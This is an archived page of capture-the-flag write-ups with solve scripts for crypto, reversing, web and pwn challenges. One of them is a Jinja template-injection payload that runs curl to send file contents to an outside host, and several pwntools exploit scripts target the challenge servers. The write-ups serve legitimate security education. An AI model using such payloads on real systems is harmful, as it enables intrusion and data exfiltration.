Archived Challenges - September 2023

Submit the flag.

ictf{rrrrroooouuunnnddd333888}

raise SystemError(flag)

stdout is overwritten, but stderr is also sent from the remote, so putting the flag in any exception will send it to you.

ictf{errors_for_the_win}

https://gchq.github.io/CyberChef/#recipe=To_Base64('A-Za-z0-9%2B/%3D')&input=ictfbeing%2Blimited%2Bto%2Bonly%2Bthe%2Bbase64%2Bcharset%2Bkinda%2Bsucks

The file is the result of the flag being base64 decoded, as it contains only base64 characters.

ictf{being+limited+to+only+the+base64+charset+kinda+sucks}

from math import sin, pi

ct = b"\xca\xae`fg\x94\x88d\xfe'ut|\x1a\x11_\xd4\xc2UmK\xb4\xcf_\x13\x1dy_\x87\x1a\x00_\xd5\xb3MnK\xbe\xd8i\x0c\x14}ns)\x07e\xc0\x8ei"

def unseasair(s, key):
    return bytes((c - k)%256 for c, k in zip(s, (int(256*sin(key*(i+1)/256*pi)) for i in range(len(s)))))

for i in range(512):
    flag = unseasair(ct, i)
    if b"ictf{" in flag:
        print(flag)
        break

Because a sin wave is the same if the input is mod 2*pi, the keys are the same mod 512 - brute-forcing this range gives the flag.

ictf{I'd_rather_swim_in_the_sea_than_swim_in_the_C}

from Crypto.Util.number import long_to_bytes
from hashlib import sha256
from pwn import *

def sign(m):
    return sha256(m).hexdigest()

# p = process(["python3", "./long.py"])
p = remote("puzzler7.imaginaryctf.org", 15001)

p.recvuntil(b'>>> ')
p.sendline(b'2')
p.recvuntil(b"prime is ")
prime = int(p.recvline().strip().decode())
sig = sign(long_to_bytes(prime)+b"\x00")
p.sendline(b'1')
p.sendline(str(prime<<8).encode())
p.sendline(sig.encode())
p.interactive()

Add b'\x00' to the long converted to a bytestring and you have a composite bytestring that starts with p to use as the message.

ictf{jUst_g0ttA_m4k3_iT_a_teEny_b1T_l0ngER...}

Basic sha256 length extension - you could either extend it yourself, or use online tools from github such as hash_extender eg.

./hash_extender --data s --secret 127 --append hi --signature 222e7c1b01447d09b91b7025a0bfd72578fb58a0adeb6d4c3470444257cdbeb0

where s happens to be a printable last byte of one of the primes (I did test it on --data as None, but it seems to fail)

ictf{loNg3R_f0r_tH3_leNGth_eXtens1on.......................looks_long_enuf}

Python random uses Mersenne-Twister which relies on a linear transformation done on a 624*32 bit state array. We essentially get enough values of p % 2**512 such that we can solve for the original state array over 624*32 GF(2) bases, and with that predict the next value of p to then obtain the correct hash. While this solution uses 75 numbers to obtain a unique single solution, in theory a minimum of 53 queries is needed according to rank analysis.

Sagemath makes this a lot simpler, with a prng transformation matrix and the output, you can call prng.solve_left(output) and it should work (i.e. no need to z3), albeit I havent tested this yet.

Solve script POC (doesn't interface with remote): https://imaginaryctf.org/f/dI30M#poc.py

ictf{sh0rT_flaG_m0meNt.}

enc = [98, 104, 127, 109, 112, 97, 126, 120, 127, 84, 100, 101, 110, 84, 104, 106, 110, 120, 106, 121, 84, 100, 109, 84, 102, 106, 101, 114, 84, 127, 100, 84, 104, 100, 102, 110, 84, 66, 84, 99, 100, 123, 110, 118]

print(bytes(i^11 for i in enc))

Each time the run function is called, it raises a signal equal to the user input xored with a constant array. If this is a segfault (signal 11) the program continues. Xoring the constant array with 11 yields the flag.

ictf{just_one_caesar_of_many_to_come_I_hope}

Decompiling the jar we can see the main function loads a class using the custom Base64ClassLoader, then calls a static printFlag function on the class passing the flag as a parameter.

The Base64ClassLoader splits the class "name" on '.', into the real class name, and a base64 encoded class file, then loads the class.

Write a class with a static printFlag which prints the flag:

public class FlagPrinter {
    public static void printFlag(String flag) {
        System.out.println(flag);
    }
}

Compile it: javac FlagPrinter.java

Then format it as the Base64ClassLoader expects: echo "FlagPrinter.base64 FlagPrinter.class -w0"

ictf{0ops_1_m4d3_y0u_wr1t3_j4v4}

The server only marks a transaction as returned once it has gone through. Simply visiting the /return?id=... link multiple times to generate multiple refund links before clicking any of them will let you refund one item multiple times, allowing you to get enough money to buy the real flag.

ictf{yknow_I_really_should_have_done_this_in_a_sql_table_rather_than_memory_but_I_cbb}

80 char free solution:

|if lipsum.__globals__.os.popen('curl puzzl.free.beeceptor.com/`cat z*`')
|endif

66 char "paid" solution:

|if lipsum.__globals__.os.popen('curl 2310590432/`cat z*`')
|endif

All you need for the "paid" solve is a server with a public IP - I think you can get this for free with e.g. google cloud, but requiring a server is something I don't want to do for these challenges.

Even though you normally can't do any sort of SSTI without braces, line statements are enabled in this challenge. This lets you use statements in Jinja to execute code. However, you still don't have any way of outputting text (I think), so we use curl to exfiltrate data (the Dockerfile is provided so you can see curl is installed).

ictf{they're_line_statements_because_they_start_with_a_line_get_it?}

https://imaginaryctf.org/f/WSllR#x.py

The picture is (obviously) of a Starbucks - by getting a list of all Starbucks locations, you can test each one against the hash to get the flag. You can narrow this list down to just Arizona, US by noticing the ASU (Arizona State University) cup in the center of the picture.

I used the list of addresses from https://www.kaggle.com/datasets/starbucks/store-locations - it requires a login with email, but a temp email works fine. Alternatively, if you had narrowed it down to Arizona, you presumably could scrape the addresses out of http://starbuckslocations.net/United-States/Arizona.

ictf{3400_E_Sky_Harbor_Blvd}

The pclmulqdq instruction transforms 16-bytes of the flag by multiplying the lower 8-bytes with the higher 8-bytes. This operation is done in GF(2)[X] so we need to factorise the target polynomial.

Solve script:

from sage.all import *
from pwn import *

target = b"bV\x060PiQ!\x18t'bP~%\x11"
for d in divisors(GF(2)['x'](bits(target, 'little'))):
    ub = unbits(d, 'little')
    if len(ub) == 8 and max(ub) < 127:
        print(ub)
# b'{F4ctorI', b'nG_ClmUL'

ictf{F4ctorInG_ClmUL}

from os import popen
import re

output = popen('zipdetails flag.zip | grep -P "Last Mod|Filename  "').read().splitlines()

pairs = {}
while len(output) > 0:
    hx = re.match(r".*([0-9A-F]{8}).*", output[0])[1]
    idx = int(re.match(r".*files/(\d+)'$", output[1])[1])
    pairs[idx] = hx[4:] + hx[:4]
    output = output[2:]

fullhex = ''.join([pairs[i] for i in range(max(pairs.keys())+1)])
print(bytes.fromhex(fullhex))

The file modification times are the bytes of the flag, stored according to https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html. I used zipdetails to get all those bytes and then sort them by filename, but there's many ways to parse the file.

ictf{Th1sFl@gI5C@m3lC@s3B3cau5eUnd3rsc0r3sAr3Ann0y!ng}

#!/usr/bin/env python3

from pwn import *

def play_hand(p):
    p.recvuntil(">>> ")
    p.sendline("1")
    p.recvuntil("Your total: ")
    total = int(p.recvline().strip().decode())
    while total <= 17:
        p.sendline("1")
        p.recvuntil("Your total: ")
        total = int(p.recvline().strip().decode())
    if total > 21:
        p.recvuntil("continue.")
        p.sendline()
        return 0
    p.sendline("2")
    out = b"Nice work!" in p.recvuntil("continue.")
    p.sendline()
    return out

def wipe_score(p):
    p.recvuntil(">>> ")
    p.sendline("4")
    p.sendline(b'a'*64 + b'\n')

# p = process(["./house"])
p = remote("puzzler7.imaginaryctf.org", 15999)
p.recvuntil(":")
p.sendline("puzzler7")

player_score = 0
bot_score = 0
wiped = 0
while player_score < 50:
    if play_hand(p):
        player_score += 1
    else:
        bot_score += 1
    if bot_score == 10:
        wiped += 1
        print("wiping")
        print(player_score, "-", bot_score)
        wipe_score(p)
        bot_score = 0
print("final bot score", bot_score + wiped*10)
p.interactive()

After entering your name, the program scans through the string until it finds a newline, and replaces it with a null byte. However, if you enter 64 characters (the length of the name buffer) the newline won't get written to it, meaning that it will continue until it finds a newline to turn into a null byte. However, the ascii value of a newline is 10, which means that if the dealer's score is 10 points, it will get set to 0. Thus, you can continuously reset the dealer's score and eventually win.

ictf{the_house_always_wins_unless_you_convince_them_not_to}